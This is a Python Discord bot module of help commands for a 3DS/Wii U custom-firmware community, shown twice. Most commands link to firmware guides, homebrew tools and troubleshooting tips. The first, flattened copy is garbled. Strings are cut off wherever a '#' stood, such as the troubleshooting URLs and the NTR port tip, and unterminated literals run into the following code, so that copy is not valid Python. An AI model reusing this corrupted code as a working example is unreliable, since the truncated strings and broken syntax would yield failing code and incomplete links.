\"\"\"Links to Plailect's or FlimFlam69's guide.\"\"\" console=console.lower() if console==\"3ds\" or(console==\"auto\" and \"wiiu\" not in ctx.message.channel.name): embed=discord.Embed(title=\"Guide\", color=discord.Color(0xCE181E)) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/\") embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/\" embed.description=\"A complete guide to 3DS custom firmware, from stock to boot9strap.\" await self.bot.say(\"\", embed=embed) if(console==\"wiiu\" or console==\"wii u\") or(console==\"auto\" and \"3ds\" not in ctx.message.channel.name): embed=discord.Embed(title=\"Guide\", color=discord.Color(0x009AC7)) embed.set_author(name=\"FlimFlam69 & Plailect\", url=\"https://wiiu.guide/\") embed.set_thumbnail(url=\"http://i.imgur.com/CpF12I4.png\") embed.url=\"https://wiiu.guide/\" embed.description=\"FlimFlam69 and Plailect's Wii U custom firmware +coldboothax guide\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def soundhax(self): \"\"\"Links to Soundhax Website\"\"\" embed=discord.Embed(title=\"Soundhax\", color=discord.Color.blue()) embed.set_author(name=\"Ned Williamson\", url=\"http://soundhax.com/\") embed.set_thumbnail(url=\"http://i.imgur.com/lYf0jan.png\") embed.url=\"http://soundhax.com\" embed.description=\"Free 3DS Primary Entrypoint <=11.3\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def dsp(self): \"\"\"Links to Dsp1.\"\"\" embed=discord.Embed(title=\"Dsp1\", color=discord.Color.green()) embed.set_author(name=\"zoogie\", url=\"https://github.com/zoogie\", icon_url=\"https://gbatemp.net/data/avatars/l/357/357147.jpg?1426471484\") embed.description=\"Dump 3DS's DSP component to SD for homebrew audio.\" embed.set_thumbnail(url=\"https://raw.githubusercontent.com/Cruel/DspDump/master/icon.png\") embed.url=\"https://github.com/zoogie/DSP1/releases\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def ntrstream(self): \"\"\"Links to ntr streaming guide\"\"\" embed=discord.Embed(title=\"NTR Streaming Guide\", color=discord.Color.blue()) embed.url=\"https://gbatemp.net/threads/tutorial-3ds-screen-recording-without-a-capture-card-ntr-cfw-method.423445/\" embed.description=\"How to use NTR CFW with Nitro Stream to Wirelessly Stream\" embed.add_field(name=\"4 common fixes\", value=\"\u2022 Are you connected to the Internet?\\n\u2022 Is your antivirus program blocking the program?\\n\u2022 Make sure you are not putting the port(: await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def update(self): \"\"\"Explains how to safely prepare for an update if you have boot9strap installed\"\"\" await self.simple_embed(\"If you have boot9strap and Luma3DS installed after following Plailect's guide, run Luma Updater to make sure it is on the latest Luma3DS normal version and then you can proceed to update your 3DS through system settings. \\nNTR CFW works on the latest version.\\n; Use this version of BootNTR: \\n\\nNote: if there is a homebrew application that is no longer working, it may exist as a CIA that you can download under the TitleDB option in FBI.\\n\\n If you still have arm9loaderhax you can update to boot9strap following[this guide](https://3ds.guide/updating-to-boot9strap)\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def updateb9s(self): \"\"\"Links to the guide for updating b9s versions\"\"\" embed=discord.Embed(title=\"Updating B9S Guide\", color=discord.Color(0xCE181E)) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/updating-b9s\") embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/updating-b9s\" embed.description=\"A guide for updating to new B9S versions.\" await self.bot.say(\"\", embed=embed) @commands.command(aliases=[\"a9lhtob9s\",\"updatea9lh\"]) @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def atob(self): \"\"\"Links to the guide for updating from a9lh to b9s\"\"\" embed=discord.Embed(title=\"Upgrading a9lh to b9s\", color=discord.Color(0xCE181E)) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/a9lh-to-b9s\") embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/a9lh-to-b9s\" embed.description=\"A guide for upgrading your device from arm9loaderhax to boot9strap.\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def gwhs(self): \"\"\"Links to gateway health and safety inject troubleshooting\"\"\" await self.bot.say(\"https://3ds.guide/troubleshooting @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def hmodders(self): \"\"\"Links to approved hardmodder list\"\"\" await self.simple_embed(\"Don't want to hardmod yourself? Ask one of the installers on the server! \") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def builds(self): \"\"\"Links to astronautlevel's luma commit site.\"\"\" await self.simple_embed(\"Astronautlevel's Luma3DS commit builds can be found here: https://astronautlevel2.github.io/Luma3DS \\n(Warning: most builds here are meant for developers and are untested, use at your own risk!)\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def ctr(self): \"\"\"Links to ctrtransfer guide\"\"\" embed=discord.Embed(title=\"Guide -ctrtransfer\", color=discord.Color.orange()) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/\") embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/ctrtransfer\" embed.description=\"How to do the 11.5.0-38 ctrtransfer\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def s4sel(self): \"\"\"Links to a tool for Smash 4 mods\"\"\" await self.simple_embed(\"To install mods for Smash,[Smash Selector](https://gbatemp.net/threads/release-smash-selector.431245/) is recommended. Instructions for use can be found on the page.\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def brick(self): \"\"\"Warns about 2.1 dangers\"\"\" await self.simple_embed(\"While on 2.1, **NEVER** shut the N3DS lid, update any model, format a 2DS or attempt to play a game on a cartridge. Doing any of these things *will* brick your system.\", color=discord.Color.red()) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def inoriquest(self): \"\"\"Tells user to be descriptive\"\"\" await self.simple_embed(\"> Reminder: if you would like someone to help you, please be as descriptive as possible, of your situation, things you have done, as little as they may seem, aswell as assisting materials. Asking to ask wont expedite your process, and may delay assistance.\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def inoriwarn(self): \"\"\"Warns users to keep the channels on-topic -Staff & Helper Declaration Only\"\"\" await self.simple_embed(\" **Please keep the channels clean and on-topic, further derailing will result in intervention. A staff or helper will be the quickest route to resolution; you can contact available staff by private messaging the Mod-mail bot.** A full list of staff and helpers can be found in @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def vguides(self): \"\"\"Information about video guides relating to custom firmware\"\"\" embed=discord.Embed(title=\"Why you should not use video guides\", color=discord.Color.dark_orange()) embed.description=\"\\\"Video guides\\\" for custom firmware and arm9loaderhax/boot9strap are not recommended for use. Their contents generally become outdated very quickly for them to be of any use, and they are harder to update unlike a written guide.\\n\\nWhen this happens, video guides become more complicated than current methods, having users do certain tasks which may not be required anymore.\\n\\nThere is also a risk of the uploader spreading misinformation or including potentially harmful files, sometimes unintentionally. Using other people's files to install arm9loaderhax can cause serious issues and even brick your system.\" embed.add_field(name=\"Recommended\", value=\"The recommended thing to do is to use[Plailect's written complete guide for boot9strap](https://3ds.guide). It is the most up to date one and is recommended for everyone.\") await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def vguides2(self): \"\"\"Information about video guides relating to custom firmware\"\"\" await self.bot.say(\"https://www.youtube.com/watch?v=miVDKgInzyg\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def ip(self): \"\"\"How to check your IP\"\"\" embed=discord.Embed(title=\"Check your 3DSs IP(CFW)\", color=discord.Color.dark_orange()) embed.description=\"1. FBI\\n2. Remote Install\\n3. Recieve URLs over the network\" embed.add_field(name=\"Check your 3DSs IP(Homebrew)\", value=\"1. Open Homebrew Launcher\\n2. Press Y\") await self.bot.say(\"\", embed=embed) @commands.command(aliases=[\"stock115\",\"stock\"]) @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def stock114(self): \"\"\"Advisory for consoles on stock 11.4+firmware\"\"\" embed=discord.Embed(title=\"Running stock(unmodified) 11.4+firmware?\", color=discord.Color.dark_orange()) embed.description=\"You have 3 possible options for installing CFW:\\n-[NTRBoot](https://3ds.guide/ntrboot) which needs a compatible DS flashcart and maybe an additional hacked 3DS or DS(i) console depending on the flashcart\\n-[DSiWare](https://3ds.guide/installing-boot9strap-\\(dsiware\\)) which requires a hacked 3DS\\n-[Hardmod](https://3ds.guide/installing-boot9strap-\\(hardmod\\)) which requires soldering **Not for beginners!**\\n **Downgrading is impossible on 11.4+!**\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def hbl(self): \"\"\"Get homebrew launcher working on 11.4+firmware\"\"\" await self.simple_embed(\"If you are looking for homebrew on your stock 11.4+3DS, you will need an entrypoint(like ninjhax, freakyhax, etc) for launching homebrew launcher\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def readguide(self): \"\"\"Read the guide please\"\"\" await self.simple_embed(\"Asking something that is on the guide will make everyone lose time, so please read and re-read the guide steps 2 or 3 times before coming here.\", title=\"Please read the guide\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def bigsd(self): \"\"\"SD bigger than 32GB\"\"\" await self.simple_embed(\"If you want to change your SD card to one bigger than 32GB then you'll have to format it to FAT32.\\nYou can do this with the tool of your preference.\\nFormatter examples:\\n-[guiformat -Windows](http://www.ridgecrop.demon.co.uk/index.htm?guiformat.htm)\\n-[gparted -Linux](http://gparted.org/download.php)\", title=\"Big SD cards\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def sderrors(self): \"\"\"Sd Error Guide\"\"\" await self.simple_embed(\"Guide For Checking SD Card For Errors\\n-[H2testw Guide -Windows](https://3ds.guide/h2testw-(windows\\))\\n-[F3 Guide -Linux](https://3ds.guide/f3-(linux\\))\\n-[F3X Guide -Mac](https://3ds.guide/f3x-(mac\\))\", title=\"SD Card Errors\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def notbricked(self): \"\"\"Missing boot.firm\"\"\" await self.simple_embed(\"If your power LED turns on and off after you installed b9s, you are not bricked and are just missing a file called boot.firm in the root of your SD card.\\nTo fix this you should:\\n1.Check you inserted the SD card in your console\\n2.Place/replace the file, downloading it from https://github.com/AuroraWright/Luma3DS/releases\\nChecking your SD for errors or corruption:\\n\\tWindows: https://3ds.guide/h2testw-(windows) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def emureco(self): \"\"\"Recommendation about EmuNAND\"\"\" await self.simple_embed(\"If you want to set up an EmuNAND the first thing to know is that you probably don't need it; if you don't know what an EmuNAND is, you don't need one.\", title=\"EmuNAND Recommendation\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def failedupdate(self): \"\"\"Notice about failed update on Wii U\"\"\" await self.simple_embed(\"A failed update in Download Management does not mean there is an update and the system is trying to download it. This means your blocking method(DNS etc.) is working and the system can't check for an update.\", color=discord.Color(0x009AC7)) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def netinfo(self): \"\"\"Network Maintenance Information / Operational Status\"\"\" await self.bot.say(\"https://www.nintendo.co.jp/netinfo/en_US/index.html\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def ctrmount(self): \"\"\"Failed to mount CTRNAND error\"\"\" await self.simple_embed(\"While following the guide, after installing boot9strap, if you get an error that says \\\"Failed to mount CTRNAND\\\", just continue on with the guide.\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def emptysd(self): \"\"\"What to do if you delete all your SD card contents\"\"\" await self.simple_embed(\"If you have lost the contents of your SD card with CFW, you will need in SD root:\\n-Homebrew launcher executable[here](https://smealum.github.io/ninjhax2/boot.3dsx)\\n-`boot.firm` from[luma3ds latest release 7z](https://github.com/AuroraWright/Luma3DS/releases/latest)\\nThen repeat the[finalizing setup](https://3ds.guide/finalizing-setup) page.\", color=discord.Color.red()) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def twl(self): \"\"\"Information on how to fix a broken TWL Partition\"\"\" embed=discord.Embed(title=\"Fix broken TWL\", color=discord.Color(0xA2BAE0)) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/troubleshooting embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/troubleshooting embed.description=\"Instructions on how to fix a broken TWL after doing the guide\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def redscr(self): \"\"\"Help with homebrew red screen\"\"\" await self.simple_embed(\"A red screen indicates that there is no boot.3dsx on root.\\nIf you have a starter folder on root, place the contents of the starter folder on root.\\nIf not, redownload the[Homebrew Starter Kit](https://smealum.github.io/ninjhax2/starter.zip) and place the contents of the starter folder inside the.zip on root.\", title=\"If you get a red screen trying to open the Homebrew Launcher\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def homext(self): \"\"\"Deleting home menu extdata\"\"\" await self.simple_embed(\"1. Navigate to the following folder on your SD card: `/Nintendo 3DS/(32 Character ID)/(32 Character ID)/extdata/00000000/`\\n2. Delete the corresponding folder for your region:\\n USA: `0000008f`\\n EUR: `00000098`\\n JPN: `00000082`\\n KOR: `000000A9`\", title=\"How to clear Home Menu extdata\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def deltheme(self): \"\"\"Deleting home menu theme data\"\"\" await self.simple_embed(\"1. Navigate to the following folder on your SD card: `/Nintendo 3DS/(32 Character ID)/(32 Character ID)/extdata/00000000/`\\n2. Delete the corresponding folder for your region:\\n USA: `000002cd`\\n EUR: `000002ce`\\n JPN: `000002cc`\", title=\"How to delete Home Menu Theme Data\") @commands.command(aliases=['godmode9']) async def gm9(self): \"\"\"Links to the guide on GodMode9\"\"\" embed=discord.Embed(title=\"GodMode9 Usage\", color=discord.Color(0x66FFFF)) embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/godmode9-usage\") embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\") embed.url=\"https://3ds.guide/godmode9-usage\" embed.description=\"GodMode9 usage guide\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def pminit(self): \"\"\"Fix for the PM init failed error\"\"\" await self.simple_embed(\"If you are receiving a \\\"PM init failed\\\" error when attempting to launch safehax and are not on 11.3, use[this version of safehax.](https://github.com/TiniVi/safehax/releases/tag/r19)\") @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def flashcart(self): \"\"\"Launcher for old flashcarts\"\"\" embed=discord.Embed(title=\"Launcher for old flashcards(r4,m3,dstt,dsx,etc)\", color=discord.Color(0x42f462)) embed.set_author(name=\"Apache Thunder\", url=\"https://gbatemp.net/threads/r4-stage2-twl-flashcart-launcher-and-perhaps-other-cards-soon%E2%84%A2.416434/\") embed.set_thumbnail(url=\"https://gbatemp.net/data/avatars/m/105/105648.jpg\") embed.url=\"https://gbatemp.net/threads/r4-stage2-twl-flashcart-launcher-and-perhaps-other-cards-soon%E2%84%A2.416434/\" embed.description=\"Launcher for old flashcards\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def vc(self): \"\"\"Link to Virtual Console Injects for 3DS\"\"\" embed=discord.Embed(title=\"Virtual Console Injects for 3DS\", color=discord.Color.blue()) embed.set_author(name=\"Asdolo\", url=\"https://gbatemp.net/members/asdolo.389539/\") embed.set_thumbnail(url=\"https://i.imgur.com/rHa76XM.png\") embed.url=\"https://gbatemp.net/search/40920047/?q=injector&t=post&o=date&g=1&c[title_only]=1&c[user][0]=389539\" embed.description=\"The recommended way to play old classics on your 3DS\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def dump(self): \"\"\"How to dump/build CIAs using GodMode9\"\"\" embed=discord.Embed(title=\"GodMode9 dump/build Guide\", color=discord.Color(0x66FFFF)) embed.set_author(name=\"ih8ih8sn0w\", url=\"https://pastebin.com/sx8HYULr\") embed.set_thumbnail(url=\"http://i.imgur.com/QEUfyrp.png\") embed.url=\"https://pastebin.com/sx8HYULr\" embed.description=\"How to dump/build CIAs using GodMode9\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def layeredfs(self): \"\"\"How to use Luma 8.0+LayeredFs\"\"\" embed=discord.Embed(title=\"LayeredFs Guide\", color=discord.Color(0x66FFFF)) embed.set_author(name=\"ih8ih8sn0w\", url=\"https://pastebin.com/sx8HYULr\") embed.set_thumbnail(url=\"http://i.imgur.com/QEUfyrp.png\") embed.url=\"https://pastebin.com/QdzBv4Te\" embed.description=\"How to use Luma 8.0+LayeredFs for ROM Hacking.\" await self.bot.say(\"\", embed=embed) @commands.command() @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def sighax(self): \"\"\"Information about sighax\"\"\" embed=discord.Embed(title=\"Sighax Information\", color=discord.Color(0x0000ff)) embed.set_author(name=\"SciresM\", url=\"https://www.reddit.com/r/3dshacks/comments/67f6as/psa_clearing_up_some_misconceptions_about_sighax/\") embed.set_thumbnail(url=\"https://i.imgur.com/11ajkdJ.jpg\") embed.url=\"https://www.reddit.com/r/3dshacks/comments/67f6as/psa_clearing_up_some_misconceptions_about_sighax/\" embed.description=\"PSA About Sighax\" await self.bot.say(\"\", embed=embed) @commands.command(pass_context=True, name=\"7zip\") @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel) async def p7zip(self): \"\"\"Download 7zip\"\"\" embed=discord.Embed(title=\"Download 7zip\", color=discord.Color(0x0000ff)) embed.set_thumbnail(url=\"http://i.imgur.com/cX1fuf6.png\") embed.url=\"http://www.7-zip.org/download.html\" embed.description=\"To be able to extract.7z files you need 7zip installed, get it here.\" await self.bot.say(\"\", embed=embed) def setup(bot): bot.add_cog(Assistance(bot)) ", "sourceWithComments": "import discord\nfrom discord.ext import commands\nfrom sys import argv\n\nclass Assistance:\n \"\"\"\n Commands that will mostly be used in #help-and-questions.\n \"\"\"\n def __init__(self, bot):\n self.bot = bot\n print('Addon \"{}\" loaded'.format(self.__class__.__name__))\n\n async def simple_embed(self, text, title=\"\", color=discord.Color.default()):\n embed = discord.Embed(title=title, color=color)\n embed.description = text\n await self.bot.say(\"\", embed=embed)\n\n @commands.command(pass_context=True, name=\"sr\", hidden=True)\n async def staffreq(self, ctx, *, msg_request=\"\"):\n \"\"\"Request staff, with optional additional text. Helpers, Staff, Verified only.\"\"\"\n author = ctx.message.author\n if (self.bot.helpers_role not in author.roles) and (self.bot.staff_role not in author.roles) and (self.bot.verified_role not in author.roles) and (self.bot.trusted_role not in author.roles):\n msg = \"{0} You cannot used this command at this time. Please ask individual staff members if you need help.\".format(author.mention)\n await self.bot.say(msg)\n return\n await self.bot.delete_message(ctx.message)\n # await self.bot.say(\"Request sent.\")\n msg = \"\u2757\ufe0f **Assistance requested**: {0} by {1} | {2}#{3} @here\".format(ctx.message.channel.mention, author.mention, author.name, ctx.message.author.discriminator)\n if msg_request != \"\":\n # msg += \"\\n\u270f\ufe0f __Additional text__: \" + msg_request\n embed = discord.Embed(color=discord.Color.gold())\n embed.description = msg_request\n await self.bot.send_message(self.bot.mods_channel, msg, embed=(embed if msg_request != \"\" else None))\n await self.bot.send_message(author, \"\u2705 Online staff has been notified of your request in {0}.\".format(ctx.message.channel.mention), embed=(embed if msg_request != \"\" else None))\n\n @commands.command(pass_context=True)\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def guide(self, ctx, *, console=\"auto\"):\n \"\"\"Links to Plailect's or FlimFlam69's guide.\"\"\"\n console = console.lower()\n if console == \"3ds\" or (console == \"auto\" and \"wiiu\" not in ctx.message.channel.name):\n embed = discord.Embed(title=\"Guide\", color=discord.Color(0xCE181E))\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/\"\n embed.description = \"A complete guide to 3DS custom firmware, from stock to boot9strap.\"\n await self.bot.say(\"\", embed=embed)\n if (console == \"wiiu\" or console == \"wii u\") or (console == \"auto\" and \"3ds\" not in ctx.message.channel.name):\n embed = discord.Embed(title=\"Guide\", color=discord.Color(0x009AC7))\n embed.set_author(name=\"FlimFlam69 & Plailect\", url=\"https://wiiu.guide/\")\n embed.set_thumbnail(url=\"http://i.imgur.com/CpF12I4.png\")\n embed.url = \"https://wiiu.guide/\"\n embed.description = \"FlimFlam69 and Plailect's Wii U custom firmware + coldboothax guide\"\n await self.bot.say(\"\", embed=embed)\n\n #Embed to Soundhax Download Website\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def soundhax(self):\n \"\"\"Links to Soundhax Website\"\"\"\n embed = discord.Embed(title=\"Soundhax\", color=discord.Color.blue())\n embed.set_author(name=\"Ned Williamson\", url=\"http://soundhax.com/\")\n embed.set_thumbnail(url=\"http://i.imgur.com/lYf0jan.png\")\n embed.url = \"http://soundhax.com\"\n embed.description = \"Free 3DS Primary Entrypoint <= 11.3\"\n await self.bot.say(\"\", embed=embed)\n\n # dsp dumper command\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def dsp(self):\n \"\"\"Links to Dsp1.\"\"\"\n embed = discord.Embed(title=\"Dsp1\", color=discord.Color.green())\n embed.set_author(name=\"zoogie\", url=\"https://github.com/zoogie\", icon_url=\"https://gbatemp.net/data/avatars/l/357/357147.jpg?1426471484\")\n embed.description = \"Dump 3DS's DSP component to SD for homebrew audio.\"\n embed.set_thumbnail(url=\"https://raw.githubusercontent.com/Cruel/DspDump/master/icon.png\")\n embed.url = \"https://github.com/zoogie/DSP1/releases\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def ntrstream(self):\n \"\"\"Links to ntr streaming guide\"\"\"\n embed = discord.Embed(title=\"NTR Streaming Guide\", color=discord.Color.blue())\n embed.url = \"https://gbatemp.net/threads/tutorial-3ds-screen-recording-without-a-capture-card-ntr-cfw-method.423445/\"\n embed.description = \"How to use NTR CFW with Nitro Stream to Wirelessly Stream\"\n embed.add_field(name=\"4 common fixes\", value=\"\u2022 Are you connected to the Internet?\\n\u2022 Is your antivirus program blocking the program?\\n\u2022 Make sure you are not putting the port (:####) into the IP box of Nitro Stream.\\n\u2022 Make sure you are on the latest preview for NTR 3.6.\")\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def update(self):\n \"\"\"Explains how to safely prepare for an update if you have boot9strap installed\"\"\"\n await self.simple_embed(\"If you have boot9strap and Luma3DS installed after following Plailect's guide, run Luma Updater to make sure it is on the latest Luma3DS normal version and then you can proceed to update your 3DS through system settings. \\nNTR CFW works on the latest version.\\n; Use this version of BootNTR: \\n\\nNote: if there is a homebrew application that is no longer working, it may exist as a CIA that you can download under the TitleDB option in FBI.\\n\\n If you still have arm9loaderhax you can update to boot9strap following [this guide](https://3ds.guide/updating-to-boot9strap)\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def updateb9s(self):\n \"\"\"Links to the guide for updating b9s versions\"\"\"\n embed = discord.Embed(title=\"Updating B9S Guide\", color=discord.Color(0xCE181E))\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/updating-b9s\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/updating-b9s\"\n embed.description = \"A guide for updating to new B9S versions.\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command(aliases=[\"a9lhtob9s\",\"updatea9lh\"])\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def atob(self):\n \"\"\"Links to the guide for updating from a9lh to b9s\"\"\"\n embed = discord.Embed(title=\"Upgrading a9lh to b9s\", color=discord.Color(0xCE181E))\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/a9lh-to-b9s\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/a9lh-to-b9s\"\n embed.description = \"A guide for upgrading your device from arm9loaderhax to boot9strap.\"\n await self.bot.say(\"\", embed=embed)\n\n # Gateway h&s troubleshooting command\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def gwhs(self):\n \"\"\"Links to gateway health and safety inject troubleshooting\"\"\"\n await self.bot.say(\"https://3ds.guide/troubleshooting#gw_fbi\")\n\n # Hardmodder pastebin list\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def hmodders(self):\n \"\"\"Links to approved hardmodder list\"\"\"\n await self.simple_embed(\"Don't want to hardmod yourself? Ask one of the installers on the server! \")\n\n # Link to Astronautlevel's Luma3ds builds site\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def builds(self):\n \"\"\"Links to astronautlevel's luma commit site.\"\"\"\n await self.simple_embed(\"Astronautlevel's Luma3DS commit builds can be found here: https://astronautlevel2.github.io/Luma3DS \\n(Warning: most builds here are meant for developers and are untested, use at your own risk!)\")\n\n # Links to ctrtransfer guide\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def ctr(self):\n \"\"\"Links to ctrtransfer guide\"\"\"\n embed = discord.Embed(title=\"Guide - ctrtransfer\", color=discord.Color.orange())\n embed.set_author(name=\"Plailect\", url=\"https://3ds.guide/\")\n embed.set_thumbnail(url=\"https://3ds.guide/images/bio-photo.png\")\n embed.url = \"https://3ds.guide/ctrtransfer\"\n embed.description = \"How to do the 11.5.0-38 ctrtransfer\"\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def s4sel(self):\n \"\"\"Links to a tool for Smash 4 mods\"\"\"\n await self.simple_embed(\"To install mods for Smash, [Smash Selector](https://gbatemp.net/threads/release-smash-selector.431245/) is recommended. Instructions for use can be found on the page.\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def brick(self):\n \"\"\"Warns about 2.1 dangers\"\"\"\n await self.simple_embed(\"While on 2.1, **NEVER** shut the N3DS lid, update any model, format a 2DS or attempt to play a game on a cartridge. Doing any of these things *will* brick your system.\", color=discord.Color.red())\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def inoriquest(self):\n \"\"\"Tells user to be descriptive\"\"\"\n await self.simple_embed(\"> Reminder: if you would like someone to help you, please be as descriptive as possible, of your situation, things you have done, as little as they may seem, aswell as assisting materials. Asking to ask wont expedite your process, and may delay assistance.\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def inoriwarn(self):\n \"\"\"Warns users to keep the channels on-topic - Staff & Helper Declaration Only\"\"\"\n await self.simple_embed(\" **Please keep the channels clean and on-topic, further derailing will result in intervention. A staff or helper will be the quickest route to resolution; you can contact available staff by private messaging the Mod-mail bot.** A full list of staff and helpers can be found in #welcome-and-rules if you don't know who they are.\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def vguides(self):\n \"\"\"Information about video guides relating to custom firmware\"\"\"\n embed = discord.Embed(title=\"Why you should not use video guides\", color=discord.Color.dark_orange())\n embed.description = \"\\\"Video guides\\\" for custom firmware and arm9loaderhax/boot9strap are not recommended for use. Their contents generally become outdated very quickly for them to be of any use, and they are harder to update unlike a written guide.\\n\\nWhen this happens, video guides become more complicated than current methods, having users do certain tasks which may not be required anymore.\\n\\nThere is also a risk of the uploader spreading misinformation or including potentially harmful files, sometimes unintentionally. Using other people's files to install arm9loaderhax can cause serious issues and even brick your system.\"\n embed.add_field(name=\"Recommended\", value=\"The recommended thing to do is to use [Plailect's written complete guide for boot9strap](https://3ds.guide). It is the most up to date one and is recommended for everyone.\")\n await self.bot.say(\"\", embed=embed)\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def vguides2(self):\n \"\"\"Information about video guides relating to custom firmware\"\"\"\n await self.bot.say(\"https://www.youtube.com/watch?v=miVDKgInzyg\")\n\n @commands.command()\n @commands.cooldown(rate=1, per=30.0, type=commands.BucketType.channel)\n async def ip(self):\n \"\"\"How to check your IP\"\"\"\n embed = discord.Embed(title=\"Check your 3DSs IP (CFW)\", color=discord.Color.dark_orange())\n embed.description = \"1. FBI\\n2. Remote Install\\n3. Recieve URLs over the network\"\n embed.add_field(name=\"Check your 3DSs IP (Homebrew)\", value=\"1. Open Homebrew Launcher\\n2. Press Y\")\n await self.bot.say(\"\", embed=embed)\n\n 